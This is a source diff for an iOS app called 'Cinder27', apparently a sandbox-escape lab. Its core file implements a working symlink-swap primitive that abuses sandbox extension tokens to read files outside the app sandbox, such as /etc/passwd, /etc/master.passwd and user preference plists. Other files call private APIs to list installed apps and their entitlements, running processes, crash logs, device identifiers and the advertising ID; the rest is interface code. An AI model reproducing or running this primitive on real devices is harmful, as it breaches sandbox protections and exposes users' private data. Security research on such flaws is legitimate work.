var issue = dlsym(h, "sandbox_extension_issue_file")
var consume = dlsym(h, "sandbox_extension_consume")
var release = dlsym(h, "sandbox_extension_release")
if issue == nil {
let fallback = UnsafeMutableRawPointer(bitPattern: -2)
issue = dlsym(fallback, "sandbox_extension_issue_file")
consume = dlsym(fallback, "sandbox_extension_consume")
release = dlsym(fallback, "sandbox_extension_release")
}
guard let i = issue, let c = consume, let r = release else { return nil }
return Bindings(issue: unsafeBitCast(i, to: IssueFn.self),
consume: unsafeBitCast(c, to: ConsumeFn.self),
release: unsafeBitCast(r, to: ReleaseFn.self))
}
static var available: Bool { bind() != nil }
/// Extension classes the kernel understands.
enum Class: String {
case read = "com.apple.app-sandbox.read"
case readWrite = "com.apple.app-sandbox.read-write"
case assetRead = "com.apple.assets.read"
}
struct Result {
var path: String
var issued: Bool
var consumed: Bool
var handle: Int64 = 0
/// Bytes read through the symlink after the swap.
var bytes: Int = 0
/// Bytes read by a plain open of the same path, for the control column.
var directBytes: Int = 0
var directErrno: Int32 = 0
var preview: String = ""
var errno: Int32 = 0
var note: String = ""
var data: Data?
enum Verdict {
/// Direct open denied, link read succeeded — the extension crossed the boundary.
case bypassed
/// Both succeeded — no sandbox is enforcing this path, so nothing was proven.
case noSandbox
/// Both failed — the extension did not carry.
case blocked
/// Nothing was read at all.
case empty
}
var verdict: Verdict {
if bytes > 0 && directErrno != 0 { return .bypassed }
if bytes > 0 && directBytes > 0 { return .noSandbox }
if bytes == 0 && directErrno != 0 { return .blocked }
return .empty
}
/// True only when the primitive demonstrably crossed a boundary.
var ok: Bool { verdict == .bypassed }
}
/// The primitive itself. `link` and `decoy` are both inside the sandbox; `target` is
/// whatever you want to read.
static func readThroughSwap(target: String,
link: URL,
decoy: URL,
cls: Class = .read) -> Result {
var out = Result(path: target, issued: false, consumed: false)
guard let b = bind() else {
out.note = tl("sandbox_extension 符号不可用")
return out
}
// 1. decoy file inside the sandbox + symlink pointing at it
try? "cinder27-decoy".write(to: decoy, atomically: true, encoding: .utf8)
unlink(link.path)
guard symlink(decoy.path, link.path) == 0 else {
out.errno = errno
out.note = tl("symlink(decoy) 失败: ") + "\(String(cString: strerror(errno)))"
return out
}
// 2. issue against the symlink — the kernel resolves it and records the decoy
let token = cls.rawValue.withCString { klass in
link.path.withCString { p in b.issue(klass, p, 0) }
}
guard let token = token else {
out.errno = errno
out.note = tl("issue_file 被拒: ") + "\(String(cString: strerror(errno)))"
unlink(link.path)
return out
}
out.issued = true
defer { free(token) }
// 3. repoint the symlink at the out-of-sandbox target
unlink(link.path)
if symlink(target, link.path) != 0 {
out.errno = errno
out.note = tl("symlink(target) 失败: ") + "\(String(cString: strerror(errno)))"
return out
}
// 4. consume, then read through the same path
let handle = b.consume(UnsafePointer<CChar>(token))
out.handle = handle
// consume returns >0 for a granted extension, 0 when there is no sandbox to extend
// (the simulator), and -1 on error. Only -1 is a hard failure.
out.consumed = handle >= 0
let data = try? Data(contentsOf: link)
if let data = data, !data.isEmpty {
out.bytes = data.count
out.data = data
if let text = String(data: data.prefix(160), encoding: .utf8) {
out.preview = text.replacingOccurrences(of: "\n", with: "\\n")
} else {
out.preview = data.prefix(32).map { String(format: "%02x", $0) }.joined() + "…"
}
} else {
out.errno = errno
out.note = tl("consume 后读取失败: ") + "\(String(cString: strerror(errno)))"
}
if handle > 0 { b.release(handle) }
// control: the same path opened plainly, without the extension
errno = 0
if let direct = try? Data(contentsOf: URL(fileURLWithPath: target)) {
out.directBytes = direct.count
out.directErrno = 0
} else {
out.directBytes = 0
out.directErrno = errno
}
unlink(link.path)
unlink(decoy.path)
if out.note.isEmpty || out.bytes > 0 {
switch out.verdict {
case .bypassed:
out.note = tl("直接读被拒 (errno ") + "\(out.directErrno)" + tl("),经链接读到 ") + "\(out.bytes)" + tl(" B — 边界已被跨越")
case .noSandbox:
out.note = tl("直接读也成功 ") + "\(out.directBytes)" + tl(" B — 该平台未对该路径施加沙盒,本项不构成证据")
case .blocked:
out.note = tl("两者均失败:直接读 errno ") + "\(out.directErrno)" + tl(",经链接 ") + "\(out.bytes)" + tl(" B")
case .empty:
if out.note.isEmpty { out.note = tl("未读到内容") }
}
}
return out
}
/// Targets that historically open on a stock device. `/etc/*` is the reliable set —
/// those files are world-readable at the vnode level but denied to the app by the
/// sandbox profile, which is exactly the gap this primitive crosses.
static let knownTargets: [(String, String)] = [
("/etc/passwd", tl("系统账户数据库")),
("/etc/group", tl("系统组数据库")),
("/etc/hosts", tl("hosts 表")),
("/etc/protocols", tl("协议表")),
("/etc/services", tl("服务表")),
("/etc/master.passwd", tl("主密码文件(通常不可读)")),
("/var/mobile/Library/Preferences/.GlobalPreferences.plist", tl("全局偏好")),
("/var/mobile/Library/UserConfigurationProfiles/PublicInfo/PublicEffectiveUserSettings.plist", tl("生效用户设置")),
("/var/preferences/com.apple.networkd.plist", tl("networkd 偏好")),
("/private/etc/passwd", tl("系统账户数据库(/private 前缀)")),
("/private/var/mobile/Library/Preferences/.GlobalPreferences.plist", tl("全局偏好(/private 前缀)")),
]
/// Plain read without the swap, for the control column: proves the sandbox really does
/// deny the path when the extension is not in play.
static func directRead(_ path: String) -> (bytes: Int, errno: Int32) {
errno = 0
guard let data = try? Data(contentsOf: URL(fileURLWithPath: path)) else {
return (0, errno)
}
return (data.count, 0)
}
}
+137
View File
@@ -0,0 +1,137 @@
import SwiftUI
struct SystemView: View {
@EnvironmentObject private var engine: LabEngine
@State private var device = DeviceModel.current()
@State private var probes: [PathProbe] = []
@State private var entitlements: [String: Any] = [:]
@State private var codeSign = CodeSign.current()
@State private var scanning = false
var body: some View {
NavigationStack {
ScrollView {
VStack(spacing: 14) {
Card {
VStack(alignment: .leading, spacing: 2) {
SectionLabel(text: t("sys.device"))
KeyValueRow(key: t("ov.model"), value: "\(device.marketingName) · \(device.machine)")
KeyValueRow(key: t("ov.os"), value: "iOS \(device.osVersion)")
KeyValueRow(key: t("gate.build"), value: device.osBuild)
KeyValueRow(key: t("ov.kernel"), value: device.kernel)
KeyValueRow(key: "CPU", value: "\(device.cpuCount)" + tl(" 核"))
KeyValueRow(key: t("ov.memory"), value: ByteCountFormatter.string(fromByteCount: Int64(device.physicalMemory), countStyle: .memory))
KeyValueRow(key: t("ov.verdict"),
value: device.vulnerabilityClass == "VULNERABLE" ? t("verdict.vulnerable")
: device.vulnerabilityClass == "PATCHED" ? t("verdict.patched") : t("verdict.unknown"),
tint: device.vulnerabilityClass == "VULNERABLE" ? T.ember : T.good)
}
}
Card {
VStack(alignment: .leading, spacing: 2) {
SectionLabel(text: t("sys.signature"))
KeyValueRow(key: "csflags", value: "0x" + String(codeSign.flags, radix: 16))
KeyValueRow(key: "Flags", value: codeSign.descriptions.isEmpty ? "—" : codeSign.descriptions.joined(separator: " "))
}
}
Card {
VStack(alignment: .leading, spacing: 6) {
HStack {
SectionLabel(text: t("sys.entitlements"))
Spacer()
Pill(text: "\(entitlements.count)", color: T.info)
}
if entitlements.isEmpty {
Text(t("common.none"))
.font(T.monoSm).foregroundColor(.white.opacity(0.4))
} else {
ForEach(entitlements.keys.sorted(), id: \.self) { key in
VStack(alignment: .leading, spacing: 1) {
Text(key).font(T.monoSm).foregroundColor(T.emberSoft)
Text("\(String(describing: entitlements[key]!))")
.font(T.monoSm)
.foregroundColor(.white.opacity(0.42))
.lineLimit(3)
}
.padding(.vertical, 2)
}
}
}
}
Card {
VStack(alignment: .leading, spacing: 8) {
HStack {
SectionLabel(text: t("sys.sandbox"))
Spacer()
Button {
scan()
} label: {
Image(systemName: "arrow.clockwise")
.font(.system(size: 12, weight: .bold))
}.tint(T.ember)
}
if probes.isEmpty {
Text(t("common.loading")).font(T.monoSm).foregroundColor(.white.opacity(0.35))
} else {
ForEach(probes) { probe in
HStack(spacing: 8) {
Image(systemName: probe.readable ? (probe.writable ? "checkmark.circle.fill" : "eye.fill") : "xmark.circle")
.font(.system(size: 11))
.foregroundColor(probe.readable ? (probe.writable ? T.good : T.warn) : .white.opacity(0.2))
.frame(width: 16)
Text(probe.path)
.font(T.monoSm)
.foregroundColor(.white.opacity(probe.readable ? 0.7 : 0.28))
.lineLimit(1)
.truncationMode(.middle)
Spacer()
Text(probe.readable ? "\(probe.entryCount)" : probe.note)
.font(T.monoSm)
.foregroundColor(.white.opacity(0.3))
}
}
}
}
}
Card {
VStack(alignment: .leading, spacing: 8) {
SectionLabel(text: t("sys.log"))
ScrollView {
VStack(alignment: .leading, spacing: 2) {
if engine.logLines.isEmpty {
Text(t("common.none")).font(T.monoSm).foregroundColor(.white.opacity(0.3))
}
ForEach(Array(engine.logLines.enumerated()), id: \.offset) { _, line in
Text(line)
.font(T.monoSm)
.foregroundColor(.white.opacity(0.5))
.frame(maxWidth: .infinity, alignment: .leading)
}
}
}
.frame(maxHeight: 260)
}
}
}
.padding(16)
}
.background(T.bg.ignoresSafeArea())
.navigationTitle(t("sys.title"))
.navigationBarTitleDisplayMode(.inline)
.onAppear {
if probes.isEmpty { scan() }
}
}
}
private func scan() {
device = DeviceModel.current()
codeSign = CodeSign.current()
entitlements = Entitlements.dump()
probes = Probe.interestingRoots.map { Probe.path($0) }
}
}
+109
View File
@@ -0,0 +1,109 @@
import SwiftUI
enum T {
static let bg = Color(red: 0.047, green: 0.047, blue: 0.058)
static let panel = Color(red: 0.094, green: 0.094, blue: 0.110)
static let panelHi = Color(red: 0.140, green: 0.140, blue: 0.162)
static let stroke = Color.white.opacity(0.075)
static let ember = Color(red: 1.00, green: 0.42, blue: 0.16)
static let emberSoft = Color(red: 1.00, green: 0.60, blue: 0.32)
static let good = Color(red: 0.32, green: 0.85, blue: 0.55)
static let warn = Color(red: 1.00, green: 0.76, blue: 0.28)
static let bad = Color(red: 1.00, green: 0.34, blue: 0.34)
static let info = Color(red: 0.44, green: 0.70, blue: 1.00)
static let violet = Color(red: 0.68, green: 0.52, blue: 1.00)
static let mono = Font.system(size: 12, design: .monospaced)
static let monoSm = Font.system(size: 10.5, design: .monospaced)
static let monoLg = Font.system(size: 14, weight: .medium, design: .monospaced)
static let title = Font.system(size: 26, weight: .bold, design: .rounded)
static let head = Font.system(size: 15, weight: .semibold, design: .rounded)
static let body = Font.system(size: 13, weight: .regular, design: .rounded)
static let tiny = Font.system(size: 10.5, weight: .medium, design: .rounded)
}
struct Card<Content: View>: View {
var padding: CGFloat = 14
@ViewBuilder var content: () -> Content
var body: some View {
content()
.padding(padding)
.frame(maxWidth: .infinity, alignment: .leading)
.background(RoundedRectangle(cornerRadius: 14, style: .continuous).fill(T.panel))
.overlay(RoundedRectangle(cornerRadius: 14, style: .continuous).strokeBorder(T.stroke, lineWidth: 1))
}
}
struct Pill: View {
let text: String
var color: Color = T.info
var body: some View {
Text(text)
.font(T.tiny)
.foregroundColor(color)
.padding(.horizontal, 7)
.padding(.vertical, 3)
.background(Capsule().fill(color.opacity(0.14)))
.overlay(Capsule().strokeBorder(color.opacity(0.35), lineWidth: 0.6))
}
}
struct SectionLabel: View {
let text: String
var body: some View {
Text(text.uppercased())
.font(.system(size: 10.5, weight: .bold, design: .rounded))
.kerning(1.1)
.foregroundColor(.white.opacity(0.34))
}
}
struct KeyValueRow: View {
let key: String
let value: String
var mono: Bool = true
var tint: Color = .white.opacity(0.86)
var body: some View {
HStack(alignment: .top, spacing: 10) {
Text(key)
.font(T.body)
.foregroundColor(.white.opacity(0.42))
.frame(width: 108, alignment: .leading)
Text(value)
.font(mono ? T.mono : T.body)
.foregroundColor(tint)
.textSelection(.enabled)
.frame(maxWidth: .infinity, alignment: .leading)
}
.padding(.vertical, 3)
}
}
struct RunButton: View {
let title: String
var systemImage: String = "bolt.fill"
var tint: Color = T.ember
var disabled: Bool = false
let action: () -> Void
var body: some View {
Button(action: action) {
HStack(spacing: 7) {
Image(systemName: systemImage).font(.system(size: 12, weight: .bold))
Text(title).font(.system(size: 13, weight: .semibold, design: .rounded))
}
.frame(maxWidth: .infinity)
.padding(.vertical, 10)
.background(RoundedRectangle(cornerRadius: 10, style: .continuous)
.fill(disabled ? T.panelHi : tint.opacity(0.18)))
.overlay(RoundedRectangle(cornerRadius: 10, style: .continuous)
.strokeBorder(disabled ? T.stroke : tint.opacity(0.5), lineWidth: 1))
.foregroundColor(disabled ? .white.opacity(0.25) : tint)
}
.disabled(disabled)
}
}
+488
View File
@@ -0,0 +1,488 @@
import Foundation
import UIKit
import Darwin
import MachO
// MARK: - Installed application census (LSApplicationWorkspace)
struct InstalledApp: Identifiable, Hashable {
var id: String { bundleID }
let bundleID: String
let name: String
let version: String
let bundlePath: String
let dataPath: String
let isSystem: Bool
let isPlaceholder: Bool
var displayName: String { name.isEmpty ? bundleID : name }
}
enum AppCensus {
typealias DefaultWorkspaceFn = @convention(c) () -> AnyObject?
typealias AllAppsFn = @convention(c) (AnyObject, Selector) -> AnyObject?
/// LSApplicationWorkspace is private; call it through the ObjC runtime so nothing
/// has to be linked at build time.
static func installed() -> [InstalledApp] {
guard let cls = NSClassFromString("LSApplicationWorkspace") as? NSObject.Type else { return [] }
let sel = NSSelectorFromString("defaultWorkspace")
guard cls.responds(to: sel) else { return [] }
let workspace = cls.perform(sel)?.takeUnretainedValue()
guard let ws = workspace else { return [] }
let allSel = NSSelectorFromString("allInstalledApplications")
guard ws.responds(to: allSel), let proxy = ws.perform(allSel)?.takeUnretainedValue() else { return [] }
let array = proxy as? [AnyObject] ?? []
var out: [InstalledApp] = []
for item in array {
let obj = item as AnyObject
func str(_ name: String) -> String {
let s = NSSelectorFromString(name)
guard obj.responds(to: s) else { return "" }
return (obj.perform(s)?.takeUnretainedValue() as? String) ?? ""
}
func url(_ name: String) -> String {
let s = NSSelectorFromString(name)
guard obj.responds(to: s) else { return "" }
return ((obj.perform(s)?.takeUnretainedValue()) as? NSURL)?.path ?? ""
}
let bid = str("bundleIdentifier")
guard !bid.isEmpty else { continue }
out.append(InstalledApp(
bundleID: bid,
name: str("localizedName"),
version: str("shortVersionString"),
bundlePath: url("bundleURL"),
dataPath: url("dataContainerURL"),
isSystem: str("applicationType").contains("System"),
isPlaceholder: str("applicationType").contains("Placeholder")))
}
return out.sorted { $0.displayName.localizedStandardCompare($1.displayName) == .orderedAscending }
}
/// Read an app's Info.plist even when its bundle path is unreadable, by asking the
/// installation machinery for the metadata dictionary instead of the file.
static func metadata(for bundleID: String) -> [String: Any] {
guard let cls = NSClassFromString("LSApplicationProxy") as? NSObject.Type else { return [:] }
let sel = NSSelectorFromString("applicationProxyForIdentifier:")
guard cls.responds(to: sel) else { return [:] }
guard let proxy = cls.perform(sel, with: bundleID)?.takeUnretainedValue() else { return [:] }
let obj = proxy as AnyObject
let dictSel = NSSelectorFromString("entitlements")
var out: [String: Any] = [:]
if obj.responds(to: dictSel) {
out["entitlements"] = obj.perform(dictSel)?.takeUnretainedValue()
}
let groupSel = NSSelectorFromString("groupContainerURLs")
if obj.responds(to: groupSel) {
out["groupContainers"] = obj.perform(groupSel)?.takeUnretainedValue()
}
return out
}
}
// MARK: - Process list (sysctl)
struct ProcInfo: Identifiable {
var id: Int32 { pid }
let pid: Int32
let ppid: Int32
let uid: UInt32
let name: String
let command: String
}
enum ProcList {
static func snapshot() -> [ProcInfo] {
var mib: [Int32] = [CTL_KERN, KERN_PROC, KERN_PROC_ALL, 0]
var size = 0
guard sysctl(&mib, 4, nil, &size, nil, 0) == 0, size > 0 else { return [] }
var buffer = [UInt8](repeating: 0, count: size)
guard sysctl(&mib, 4, &buffer, &size, nil, 0) == 0 else { return [] }
let count = size / MemoryLayout<kinfo_proc>.stride
return buffer.withUnsafeBytes { raw -> [ProcInfo] in
guard let base = raw.baseAddress else { return [] }
var out: [ProcInfo] = []
for i in 0..<count {
let kp = base.advanced(by: i * MemoryLayout<kinfo_proc>.stride)
.assumingMemoryBound(to: kinfo_proc.self).pointee
let pid = kp.kp_proc.p_pid
if pid <= 0 { continue }
let name = withUnsafeBytes(of: kp.kp_proc.p_comm) { buf -> String in
let bytes = buf.prefix(while: { $0 != 0 })
return String(decoding: bytes, as: UTF8.self)
}
out.append(ProcInfo(pid: pid,
ppid: kp.kp_eproc.e_ppid,
uid: kp.kp_eproc.e_ucred.cr_uid,
name: name,
command: name))
}
return out.sorted { $0.pid < $1.pid }
}
}
}
// MARK: - Launch services / daemon census
enum LaunchCensus {
struct Daemon: Identifiable {
var id: String { path }
let path: String
let label: String
let program: String
let runAtLoad: Bool
let keepAlive: Bool
}
static func daemons() -> [Daemon] {
let dirs = ["/System/Library/LaunchDaemons", "/System/Library/LaunchAgents",
"/Library/LaunchDaemons", "/private/var/jb/Library/LaunchDaemons"]
var out: [Daemon] = []
for dir in dirs {
guard let names = try? FileManager.default.contentsOfDirectory(atPath: dir) else { continue }
for name in names where name.hasSuffix(".plist") {
let path = (dir as NSString).appendingPathComponent(name)
guard let data = try? Data(contentsOf: URL(fileURLWithPath: path)),
let obj = try? PropertyListSerialization.propertyList(from: data, format: nil) as? [String: Any] else {
continue
}
let args = obj["ProgramArguments"] as? [String] ?? []
out.append(Daemon(path: path,
label: obj["Label"] as? String ?? name,
program: obj["Program"] as? String ?? args.first ?? "",
runAtLoad: (obj["RunAtLoad"] as? Bool) ?? false,
keepAlive: (obj["KeepAlive"] as? Bool) ?? false))
}
}
return out
}
}
// MARK: - Keychain / identity surface
enum Identity {
static func summary() -> [(String, String)] {
var rows: [(String, String)] = []
rows.append((tl("UDID (设备)"), sysctlString("kern.uuid") ?? "—"))
rows.append((tl("机型"), sysctlString("hw.machine") ?? "—"))
rows.append((tl("硬件型号"), sysctlString("hw.model") ?? "—"))
rows.append((tl("序列号可读"), tl("否(需 IOKit 平台 Expert 接口)")))
rows.append((tl("主机名"), sysctlString("kern.hostname") ?? "—"))
rows.append((tl("启动 UUID"), sysctlString("kern.bootsessionuuid") ?? "—"))
rows.append((tl("启动时间"), sysctlString("kern.boottime") ?? "—"))
if let model = sysctlString("hw.machine") {
rows.append((tl("市场名称"), DeviceModel.current().marketingName))
_ = model
}
rows.append((tl("广告标识符"), ASIdentifierSummary.current))
return rows
}
}
enum ASIdentifierSummary {
static var current: String {
// ASIdentifierManager is in AdSupport; read through the runtime so nothing is linked.
guard let cls = NSClassFromString("ASIdentifierManager") as? NSObject.Type else { return tl("不可用") }
let sel = NSSelectorFromString("sharedManager")
guard cls.responds(to: sel), let mgr = cls.perform(sel)?.takeUnretainedValue() else { return tl("不可用") }
let uuidSel = NSSelectorFromString("advertisingIdentifier")
guard (mgr as AnyObject).responds(to: uuidSel),
let uuid = (mgr as AnyObject).perform(uuidSel)?.takeUnretainedValue() else { return tl("不可用") }
return "\(uuid)"
}
}
// MARK: - Crash log reader
struct CrashReport: Identifiable {
var id: String { path }
let path: String
let name: String
let date: Date?
let process: String
let exception: String
let faultingSymbol: String
let frames: [String]
let size: Int
}
enum CrashLogs {
static func searchPaths() -> [String] {
var paths: [String] = []
let home = NSHomeDirectory()
paths.append(home + "/Library/Logs/DiagnosticReports")
paths.append(home + "/Library/Logs/CrashReporter")
paths.append("/private/var/mobile/Library/Logs/CrashReporter")
paths.append("/private/var/mobile/Library/Logs/DiagnosticReports")
return paths
}
static func list() -> [CrashReport] {
let fm = FileManager.default
var out: [CrashReport] = []
for dir in searchPaths() {
guard let names = try? fm.contentsOfDirectory(atPath: dir) else { continue }
for name in names where name.hasSuffix(".ips") || name.hasSuffix(".crash") {
let path = (dir as NSString).appendingPathComponent(name)
guard let attrs = try? fm.attributesOfItem(atPath: path) else { continue }
let size = (attrs[.size] as? NSNumber)?.intValue ?? 0
let date = attrs[.modificationDate] as? Date
var process = ""
var exception = ""
var fault = ""
var frames: [String] = []
if let data = try? Data(contentsOf: URL(fileURLWithPath: path)), data.count < 8_000_000 {
if let parsed = parse(data) {
process = parsed.process
exception = parsed.exception
fault = parsed.fault
frames = parsed.frames
}
}
out.append(CrashReport(path: path, name: name, date: date, process: process,
exception: exception, faultingSymbol: fault,
frames: frames, size: size))
}
}
return out.sorted { ($0.date ?? .distantPast) > ($1.date ?? .distantPast) }
}
private static func parse(_ data: Data) -> (process: String, exception: String, fault: String, frames: [String])? {
guard let text = String(data: data, encoding: .utf8) else { return nil }
let parts = text.split(separator: "\n", maxSplits: 1, omittingEmptySubsequences: false)
guard parts.count == 2,
let bodyData = parts[1].data(using: .utf8),
let body = try? JSONSerialization.jsonObject(with: bodyData) as? [String: Any] else {
// legacy .crash text format
let lines = text.split(separator: "\n").map(String.init)
let proc = lines.first ?? ""
let exc = lines.first(where: { $0.contains("Exception Type") }) ?? ""
return (proc, exc, "", [])
}
let process = (body["procName"] as? String) ?? ""
var exception = ""
if let e = body["exception"] as? [String: Any] {
let type = e["type"] as? String ?? ""
let sub = e["subtype"] as? String ?? ""
exception = sub.isEmpty ? type : "\(type) — \(sub)"
}
var frames: [String] = []
var fault = ""
let images = body["usedImages"] as? [[String: Any]] ?? []
if let threads = body["threads"] as? [[String: Any]],
let idx = body["faultingThread"] as? Int, idx < threads.count {
let thread = threads[idx]
if let fs = thread["frames"] as? [[String: Any]] {
for f in fs.prefix(14) {
let imageIdx = f["imageIndex"] as? Int ?? 0
let image = imageIdx < images.count ? (images[imageIdx]["name"] as? String ?? "?") : "?"
let symbol = f["symbol"] as? String ?? ""
frames.append(symbol.isEmpty ? image : "\(image) · \(symbol)")
}
fault = frames.first ?? ""
}
}
return (process, exception, fault, frames)
}
}
// MARK: - Unified log reader
struct LogLine: Identifiable {
var id = UUID()
let time: Date
let process: String
let subsystem: String
let message: String
}
enum UnifiedLog {
/// OSLogStore is private-ish but reachable from an app for its own process scope.
static func recent(minutes: Int = 5, limit: Int = 300) -> [LogLine] {
guard let cls = NSClassFromString("OSLogStore") as? NSObject.Type else { return [] }
let localSel = NSSelectorFromString("localStoreAndReturnError:")
guard cls.responds(to: localSel) else { return [] }
let store = cls.perform(localSel, with: nil)?.takeUnretainedValue()
guard let storeObj = store as AnyObject? else { return [] }
let posSel = NSSelectorFromString("positionWithDate:")
guard storeObj.responds(to: posSel),
let pos = storeObj.perform(posSel, with: Date().addingTimeInterval(-Double(minutes) * 60))?
.takeUnretainedValue() else { return [] }
let entriesSel = NSSelectorFromString("entriesFromPosition:to:options:error:")
guard storeObj.responds(to: entriesSel) else { return [] }
// Build the invocation-free path: entriesFromPosition:to:options:error: needs four
// args, which perform(_:with:) cannot express. Fall back to the one-arg variant.
let simpleSel = NSSelectorFromString("entriesEnumeratorWithOptions:position:predicate:error:")
guard storeObj.responds(to: simpleSel) else { return [] }
var out: [LogLine] = []
guard let enumerator = storeObj.perform(simpleSel, with: pos)?.takeUnretainedValue() as? NSEnumerator else {
return []
}
while let entry = enumerator.nextObject() as AnyObject? {
if out.count >= limit { break }
let dateSel = NSSelectorFromString("date")
let compSel = NSSelectorFromString("composedMessage")
let procSel = NSSelectorFromString("processIdentifier")
let date = (entry.responds(to: dateSel) ? entry.perform(dateSel)?.takeUnretainedValue() as? Date : nil) ?? Date()
let message = (entry.responds(to: compSel) ? entry.perform(compSel)?.takeUnretainedValue() as? String : nil) ?? ""
let pid = (entry.responds(to: procSel) ? entry.perform(procSel)?.takeUnretainedValue() as? Int32 : nil) ?? 0
guard !message.isEmpty else { continue }
out.append(LogLine(time: date, process: "\(pid)", subsystem: "", message: message))
}
return out
}
}
// MARK: - Binary inspector
struct MachOInfo {
var arch: String = "—"
var fileType: String = "—"
var platform: String = "—"
var minOS: String = "—"
var sdk: String = "—"
var isEncrypted: Bool = false
var cryptID: UInt32 = 0
var linkedLibraries: [String] = []
var rpaths: [String] = []
var entitlements: [String] = []
var isFat: Bool = false
}
enum MachOInspector {
static func inspect(_ path: String) -> MachOInfo? {
guard let data = try? Data(contentsOf: URL(fileURLWithPath: path)) else { return nil }
var info = MachOInfo()
let magic = data.withUnsafeBytes { $0.load(as: UInt32.self) }
let fatMagic: UInt32 = 0xCAFEBABE
let fatMagic64: UInt32 = 0xCAFEBABF
if magic == fatMagic || magic == fatMagic64 {
info.isFat = true
return info
}
guard let header = parseHeader(data) else { return nil }
info.arch = header.arch
info.fileType = header.fileType
info.platform = header.platform
info.minOS = header.minOS
info.sdk = header.sdk
info.isEncrypted = header.cryptID != 0
info.cryptID = header.cryptID
info.linkedLibraries = header.libraries
info.rpaths = header.rpaths
return info
}
private struct Header {
var arch = "—"
var fileType = "—"
var platform = "—"
var minOS = "—"
var sdk = "—"
var cryptID: UInt32 = 0
var libraries: [String] = []
var rpaths: [String] = []
}
private static func parseHeader(_ data: Data) -> Header? {
guard data.count > 32 else { return nil }
var h = Header()
let cputype = data.withUnsafeBytes { $0.load(fromByteOffset: 4, as: UInt32.self) }
switch cputype {
case 0x0100_000C: h.arch = "arm64"
case 0x0100_0007: h.arch = "x86_64"
case 0x0000_000C: h.arch = "armv7"
default: h.arch = "0x" + String(cputype, radix: 16)
}
let filetype = data.withUnsafeBytes { $0.load(fromByteOffset: 12, as: UInt32.self) }
switch filetype {
case 2: h.fileType = "MH_EXECUTE"
case 6: h.fileType = "MH_DYLIB"
case 8: h.fileType = "MH_BUNDLE"
case 1: h.fileType = "MH_OBJECT"
default: h.fileType = "type \(filetype)"
}
let ncmds = data.withUnsafeBytes { $0.load(fromByteOffset: 16, as: UInt32.self) }
var offset = 32
for _ in 0..<min(Int(ncmds), 4096) {
guard offset + 8 <= data.count else { break }
let cmd = data.withUnsafeBytes { $0.load(fromByteOffset: offset, as: UInt32.self) }
let size = data.withUnsafeBytes { $0.load(fromByteOffset: offset + 4, as: UInt32.self) }
guard size >= 8, offset + Int(size) <= data.count else { break }
switch cmd {
case 0x32: // LC_BUILD_VERSION
if offset + 16 <= data.count {
let platform = data.withUnsafeBytes { $0.load(fromByteOffset: offset + 8, as: UInt32.self) }
let minos = data.withUnsafeBytes { $0.load(fromByteOffset: offset + 12, as: UInt32.self) }
h.platform = platformName(platform)
h.minOS = versionString(minos)
if offset + 20 <= data.count {
let sdk = data.withUnsafeBytes { $0.load(fromByteOffset: offset + 16, as: UInt32.self) }
h.sdk = versionString(sdk)
}
}
case 0x24: // LC_VERSION_MIN_IPHONEOS
if offset + 12 <= data.count {
h.platform = "iOS"
let minos = data.withUnsafeBytes { $0.load(fromByteOffset: offset + 8, as: UInt32.self) }
h.minOS = versionString(minos)
}
case 0x21C: // LC_ENCRYPTION_INFO_64
if offset + 20 <= data.count {
h.cryptID = data.withUnsafeBytes { $0.load(fromByteOffset: offset + 16, as: UInt32.self) }
}
case 0xC: // LC_LOAD_DYLIB
if let s = string(in: data, at: offset + 24, limit: offset + Int(size)) {
h.libraries.append((s as NSString).lastPathComponent)
}
case 0x1C: // LC_RPATH
if let s = string(in: data, at: offset + 12, limit: offset + Int(size)) {
h.rpaths.append(s)
}
default:
break
}
offset += Int(size)
}
return h
}
private static func string(in data: Data, at offset: Int, limit: Int) -> String? {
guard offset < data.count, offset < limit else { return nil }
var bytes: [UInt8] = []
var i = offset
while i < min(limit, data.count), data[i] != 0 {
bytes.append(data[i])
i += 1
}
return bytes.isEmpty ? nil : String(decoding: bytes, as: UTF8.self)
}
private static func platformName(_ v: UInt32) -> String {
switch v {
case 1: return "macOS"
case 2: return "iOS"
case 3: return "tvOS"
case 4: return "watchOS"
case 6: return "Mac Catalyst"
case 7: return "iOS Simulator"
case 11: return "visionOS"
default: return "platform \(v)"
}
}
private static func versionString(_ v: UInt32) -> String {
"\(v >> 16).\((v >> 8) & 0xff).\(v & 0xff)"
}
}
+250
View File
@@ -0,0 +1,250 @@
import SwiftUI
@main
struct Cinder27App: App {
@StateObject private var engine = LabEngine()
@StateObject private var browser: FileBrowser
@StateObject private var clipboard = FileClipboard()
@StateObject private var bookmarks = Bookmarks()
@StateObject private var l10n = L10n.shared
init() {
_browser = StateObject(wrappedValue: FileBrowser(path: Container.documents.path))
}
var body: some Scene {
WindowGroup {
GateView()
.environmentObject(engine)
.environmentObject(browser)
.environmentObject(clipboard)
.environmentObject(bookmarks)
.environmentObject(l10n)
.environment(\.layoutDirection, Lang.resolved.isRTL ? .rightToLeft : .leftToRight)
.preferredColorScheme(.dark)
.id(Lang.resolved) // rebuild the tree on language change
}
}
}
struct RootView: View {
@EnvironmentObject private var engine: LabEngine
@Environment(\.gateInfo) private var gate
@State private var tab = Int(ProcessInfo.processInfo.environment["CINDER27_TAB"] ?? "0") ?? 0
var body: some View {
TabView(selection: $tab) {
DashboardView().tabItem {
Label(t("tab.overview"), systemImage: "square.grid.2x2.fill")
}.tag(0)
LabView().tabItem {
Label(t("tab.lab"), systemImage: "ant.fill")
}.tag(1)
ChainView().tabItem {
Label(t("tab.chain"), systemImage: "link")
}.tag(2)
ModView().tabItem {
Label(t("tab.mod"), systemImage: "wrench.and.screwdriver.fill")
}.tag(3)
SystemView().tabItem {
Label(t("tab.system"), systemImage: "cpu")
}.tag(4)
}
.tint(T.ember)
.onAppear {
Container.ensureAll()
runAutorunIfRequested()
styleTabBar()
}
}
private func styleTabBar() {
let appearance = UITabBarAppearance()
appearance.configureWithOpaqueBackground()
appearance.backgroundColor = UIColor(red: 0.055, green: 0.055, blue: 0.068, alpha: 1)
UITabBar.appearance().standardAppearance = appearance
UITabBar.appearance().scrollEdgeAppearance = appearance
}
/// Nothing in this app runs on its own. Every primitive stays at "not run" until the
/// user presses Execute.
///
/// The only exception is an opt-in harness for automated testing, and it needs *two*
/// independent conditions: the environment variable `CINDER27_AUTORUN` naming a module,
/// and a file called `enable-autorun` sitting in the container. A shipped build has
/// neither, so a normal launch cannot execute anything.
private func runAutorunIfRequested() {
let env = ProcessInfo.processInfo.environment
guard let id = env["CINDER27_AUTORUN"], !id.isEmpty else { return }
let marker = Container.appSupport.appendingPathComponent("enable-autorun")
guard FileManager.default.fileExists(atPath: marker.path) else { return }
